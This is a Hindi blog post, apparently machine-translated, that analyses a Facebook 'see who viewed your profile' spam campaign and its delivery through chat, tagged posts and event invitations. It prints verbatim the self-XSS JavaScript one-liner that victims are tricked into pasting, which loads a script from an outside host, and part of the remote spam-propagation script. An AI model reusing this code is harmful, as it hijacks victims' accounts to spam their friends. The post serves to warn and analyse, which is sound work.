फेसबुक पर स्पैम की एक नई लहर

आज फेसबुक पर, "आपकी प्रोफ़ाइल को देखने वाले को कैसे देखा जाए" थीम के साथ स्पैम की एक लहर शुरू हो गई है। इसे तीन तरीकों से वितरित किया जाता है:

• आईएम संदेश अगर हमला उपयोगकर्ता ऑनलाइन है
• एक संक्रमित उपयोगकर्ता को देखने के आँकड़े के साथ एक पोस्ट में उपयोगकर्ताओं को टैग करना (बेशक, आँकड़े नकली हैं, घोटाले की भावना में "किसी और के एसएमएस को पढ़ें" और "उपयोगकर्ता के आंदोलनों के इतिहास को देखें"
• घटना (घटना) के लिए निमंत्रण।

सभी तीन तरीकों का लक्ष्य हमले वाले उपयोगकर्ता को साइट http://iamnewc.blogspot.com/ पर ड्राइव करना है, जो कि http://x.co/WlL4/?$PARAM , जहां $ PARAM है, में GoDaddy x.co urls के शॉर्टकट के पीछे छिपा है। एक निश्चित संख्या, जाहिरा तौर पर फेसबुक के उपयोगकर्ता के साथ जुड़ी हुई है, जो समझने के लिए कि किसने पेक किया।

फेसबुक उपयोगकर्ताओं पर एक और हालिया सनसनीखेज फ़िशिंग हमले में उपयोग की जाने वाली सोशल इंजीनियरिंग पद्धति से मेल खाती है: वे सुझाव देते हैं कि जावास्क्रिप्ट कोड को क्लिपबोर्ड पर कॉपी किया जाए, फेसबुक पर जाएं और इसे निष्पादित करें (इसे एड्रेस बार में पेस्ट करके और एंटर दबाकर):
javascript:(a=(b=document).createElement('script')).src='// bbbindia4.in/jsp.php',b.body.appendChild(a);void(0)

और इस पृष्ठ से ( http://bbbindia4.in/jsp.php ), बदले में, इसे लोड और निष्पादित किया गया है:
var randomnumber=Math.floor(Math.random()*99999); var randomnumber1=Math.floor(Math.random()*987); var randomnumber2=Math.floor(Math.random()*754); var randomnumber3=Math.floor(Math.random()*43); var randomnumber4=Math.floor(Math.random()*9); var random=Math.floor(Math.random()*5); if (random == 1) { var url = ' x.co/WleP?' } else if (random == 2) { var url = 'http://x.co/WleV/?' } else if (random == 3) { var url = 'http://x.co/Wled/?' } else if (random == 4) { var url = 'http://x.co/Wlek/?' } else { var url = 'http://x.co/Wlem/?' } var message = '%firstname% See who views your profile '; var ev = 'check out this new facebook feature! \x0A see your profile view results by copying and pasting the link below in the address bar \x0A '; var test = 'My Top Profile Viewers Are:\x0A'; var id = '%tf% - ' + randomnumber1 + ' views,\x0A'; var id1 = '%tf% - ' + randomnumber2 + ' views,\x0A'; var id2 = '%tf% - ' + randomnumber3 + ' views,\x0A'; var id3 = '%tf% - ' + randomnumber4 + ' views,\x0A'; var post = ' see who viewed your facebook profile @ '; var postmessage = test + id + id1 + id2 + id3 + post + url + randomnumber; var chatmessage = message + url + randomnumber; var redirect = 'http:// www.gameindiagame.blogspot.com'; var eventdesc = ev + url + randomnumber; var eventname = 'How to see who viewed your profile!!'; var nfriends = 5000; //

अद्यतन अंतिम टुकड़े में उल्लिखित यूआरएल, x.co से संक्षिप्त नहीं रह गया है; संभवतः GoDaddy Security द्वारा हटा दिया गया है। लेकिन www.gameindiagame.blogspot.com पर आप कम से कम शिलालेख फेसबुक सत्यापन स्पैम बॉट :) की प्रशंसा कर सकते हैं। स्वाभाविक रूप से, गुप्त मोड में जाना बेहतर है।